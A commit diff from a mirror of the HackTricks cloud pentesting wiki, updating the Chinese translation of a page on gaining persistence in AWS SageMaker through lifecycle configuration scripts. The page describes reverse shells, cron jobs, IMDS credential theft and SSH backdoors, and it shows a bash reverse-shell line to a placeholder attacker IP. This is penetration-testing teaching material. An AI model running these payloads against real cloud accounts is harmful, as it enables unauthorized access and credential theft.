mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -2,7 +2,7 @@
|
||||
|
||||
## 持久性技术概述
|
||||
|
||||
本节概述了通过滥用生命周期配置(LCCs)在 SageMaker 中获得持久性的方法,包括反向 shell、cron 作业、通过 IMDS 进行的凭证窃取和 SSH 后门。这些脚本以实例的 IAM 角色运行,并可以在重启后保持持久性。大多数技术需要出站网络访问,但在 AWS 控制平面上使用服务仍然可以在环境处于“仅 VPC”模式时取得成功。
|
||||
本节概述了通过滥用生命周期配置(LCC)在 SageMaker 中获得持久性的方法,包括反向 shell、cron 作业、通过 IMDS 进行的凭证窃取和 SSH 后门。这些脚本以实例的 IAM 角色运行,并可以在重启后保持持久性。大多数技术需要出站网络访问,但在 AWS 控制平面上使用服务仍然可以在环境处于“仅 VPC”模式时取得成功。
|
||||
#### 注意:SageMaker 笔记本实例本质上是专门为机器学习工作负载配置的托管 EC2 实例。
|
||||
|
||||
## 所需权限
|
||||
@@ -21,7 +21,7 @@ sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## 设置笔记本实例的生命周期配置
|
||||
## 在笔记本实例上设置生命周期配置
|
||||
|
||||
### 示例 AWS CLI 命令:
|
||||
```bash
|
||||
@@ -72,9 +72,9 @@ aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --s
|
||||
```
|
||||
## Studio 应用程序生命周期配置的类型
|
||||
|
||||
生命周期配置可以具体应用于不同的 SageMaker Studio 应用程序类型:
|
||||
生命周期配置可以特定应用于不同的 SageMaker Studio 应用程序类型:
|
||||
* JupyterServer: 在 Jupyter 服务器启动期间运行脚本,适合用于持久性机制,如反向 shell 和 cron 作业。
|
||||
* KernelGateway: 在内核网关应用程序启动期间执行,适用于初始设置或持久访问。
|
||||
* KernelGateway: 在内核网关应用启动期间执行,适用于初始设置或持久访问。
|
||||
* CodeEditor: 应用于代码编辑器 (Code-OSS),启用在代码编辑会话开始时执行的脚本。
|
||||
|
||||
### 每种类型的示例命令:
|
||||
@@ -116,11 +116,11 @@ ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
## 通过生命周期配置的 Cron 作业持久性
|
||||
|
||||
攻击者可以通过 LCC 脚本注入 cron 作业,确保恶意脚本或命令的定期执行,从而实现隐秘的持久性。
|
||||
|
||||
### Payload Example:
|
||||
### 有效载荷示例:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
|
||||
Reference in New Issue
Block a user